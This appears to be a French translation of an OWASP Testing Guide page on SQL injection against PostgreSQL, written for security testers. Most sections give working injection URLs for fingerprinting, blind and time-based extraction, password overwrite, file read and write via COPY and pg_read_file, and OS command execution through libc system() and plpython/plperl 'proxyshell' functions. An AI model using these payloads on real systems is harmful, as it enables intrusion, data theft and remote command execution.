{{Modèle:Testing Guide}}
# Résumé #
Dans cette section, certaines techniques d'injection SQL pour PostgreSQL seront abordées. Gardez à l'esprit les caractéristiques suivantes:
* Le connecteur PHP permet d'exécuter plusieurs instructions en utilisant, par exemple, un séparateur de déclaration
* Les instructions SQL peuvent être tronquées en ajoutant le caractère de commentaire : -.
* LIMIT et OFFSET peuvent être utilisés dans une instruction SELECT pour récupérer une partie de l'ensemble de résultats générés par la requête
Pour l'exemple nous supposerons que http://www.example.com/news.php?id=1 est vulnérable aux attaques par injection SQL.
# Description #
## Identifier PostgreSQL ##
Quand une injection SQL a été trouvée, vous devez soigneusement identifier le moteur de base de données. Vous pouvez déterminer qu'il s'agit d'un moteur de base de données PostgreSQL backend en utilisant l'opérateur ::cast.
**Exemple:**
http://www.example.com/store.php?id=1 AND 1::int=1
En outre, la fonction version() peut être utilisée pour récupérer la bannière PostgreSQL. Cela permettra également de découvrir le type et la version du système d'exploitation sous-jacent.
**Exemple:**
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
Exemple de bannière qui pourraient être renvoyée est:
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
## Injection aveugle ##
Pour mener des attaques par injection SQL aveugles, vous devriez prendre en considération des fonctions intégrées qui suivent:
* Longueur de chaîne
LENGTH(str)
* Extrait une sous-chaîne d'une chaîne donnée
SUBSTR(str, index, offset)
* Représentation de chaîne sans quotes simples
CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
À partir de la version 8.2, PostgreSQL introduit une fonction intégrée, pg_sleep(n), pour mettre en pause processus de la session courante pendant n secondes. Cette fonction peut être exploitée pour exécuter des attaques sur la base du temps (étudié en détail lors des Injections SQL aveugles). En outre, vous pouvez facilement créer un pg_sleep(n) personnalisée dans les versions précédentes en utilisant la libc:
CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
## Échappement des simples quotes ##
Une chaîne peut être codée afin d'éviter l'échappement des quotes, en utilisant la fonction chr().
* **chr(n):** Renvoie le caractère dont le code ASCII correspondant au nombre n
* **ascii(n):** Renvoie la valeur ASCII qui correspond à la lettre n
Disons que vous voulez encoder la chaîne 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116
Nous pouvons coder «root» comme suit:
chr(114)||chr(111)||chr(111)||chr(116)
**Exemple:**
http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
## Vecteurs d'attaque ##
### Current User ###
L'identité de l'utilisateur actuel peut être récupérée avec la commande suivante SQL SELECT:
SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()
**Exemple:**
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
### Current Databasee ###
La fonction intégrée current_database() retourne le nom de la base de données actuelle.
**Exemple:**
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
### Lecture d'un fichier ###
PostgreSQL fournit deux manières d'accéder à un fichier local:
- L'instruction COPY
- La fonction interne pg_read_file() (à partir de PostgreSQL 8.1)
=== L'instruction COPY: ===
Cet opérateur copie les données entre un fichier et une table. Le moteur de PostgreSQL accède au système de fichiers local en tant qu'utilisateur postgres.
**Exemple:**
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
Les données suivantes peuvent être récupérées en effectuant une Injection SQL de la requête UNION:
* Récupération du nombre de lignes préalablement ajoutées dans le file_store avec la commande COPY
* Récupération d'une ligne à la fois avec UNION SQL Injection
**Exemple:**
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
=== pg_read_file(): ===
Cette fonction a été introduite dans PostgreSQL 8.1 et permet de lire des fichiers arbitraires situés à l'intérieur du répertoire de données SGBD.
**Exemple:**
SELECT pg_read_file('server.key',0,1000);
### Écriture dans un fichier ###
En retournant la commande COPY, on peut écrire le système de fichiers local avec des droits d'utilisateur postgres
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
### Injection Shell ###
PostgreSQL fournit un mécanisme pour ajouter des fonctions personnalisées à l'aide de deux bibliothèques dynamiques et de langages de script comme Python, Perl et Tcl.
=== Bibliothèques dynamique ===
Jusqu'à PostgreSQL 8.1, il était possible d'ajouter une fonction personnalisée liée à la libc:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
Puisque le système retourne un entier comment pouvons nous aller chercher les sorties stdout système?
Voici une petite astuce:
* créer une table stdout
CREATE TABLE stdout(id serial, system_out text)
* Exécuter une commande shell et rediriger sa sortie
SELECT system('uname -a > /tmp/test')
* utiliser une des instructions COPY pour pousser la sortie de la commande précédente dans le tableau stdout
COPY stdout(system_out) FROM '/tmp/test'
* récupérer la sortie de stdout
SELECT system_out FROM stdout
**Exemple:**
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
=== plpython ===
PL / Python permet aux utilisateurs de coder des fonctions PostgreSQL en python. Ce qui n'est pas conseillé car i l n'est pas possible de limiter ce que l'utilisateur peut faire. Ce n'est donc pas installé par défaut et peut être activée sur une base de données par createlang
* Vérifiez si PL / Python a été activé sur une base de données:
SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* Sinon, essayez de l'activer:
CREATE LANGUAGE plpythonu
* Si l'un de ce qui précède réussi, créer une fonction shell proxy:
CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
* Amusez-vous avec:
SELECT proxyshell(os command);
**Exemple:**
* Créer une fonction shell proxy:
/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
* Exécuter une commande OS:
/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
=== plperl ===
plperl nous permet de coder des fonctions PostgreSQL en Perl. Normalement, il est installé en tant que langage de confiance afin de désactiver l'exécution des opérations d'exécution qui interagissent avec le système d'exploitation sous-jacent, telles que open. Ce faisant, il est impossible d'obtenir un accès au niveau système d'exploitation. Pour réussir à injecter un ProxyShell en tant que fonction, il faut installer la version non sécurisée de plperl=plperlu, pour éviter le masque de l'application que l'on appelle filtrage des opérations fiables / non fiables.
* Vérifiez si PL / Perl non sécurisé a été activé:
SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* Si ce n'est pas le cas, en supposant que sysadm a déjà installé le paquet plperl, essayez:
CREATE LANGUAGE plperlu
* Si l'un de ce qui précède réussi, créer une fonction shell proxy:
CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu
* Amusez-vous avec:
SELECT proxyshell(os command);
**Exemple:**
* Créer une fonction shell proxy:
/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;
* Exécuter une commande OS:
/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
# Références #
* **OWASP :** [[testing_for_sql_injection]]
* **OWASP :** [[sql_injection_prevention_cheat_sheet]]
* **PostgreSQL :** "Official Documentation" - http://www.postgresql.org/docs/
* **Bernardo Damele and Daniele Bellucci:** sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net